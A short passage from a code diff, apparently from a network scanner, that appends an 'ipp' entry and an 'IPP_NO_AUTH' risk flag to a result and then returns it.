+ result['payloads'].append('ipp')
734
+ result['risk'].append('IPP_NO_AUTH')
735
+ except Exception:
736
+ pass
737
+
738
+ return result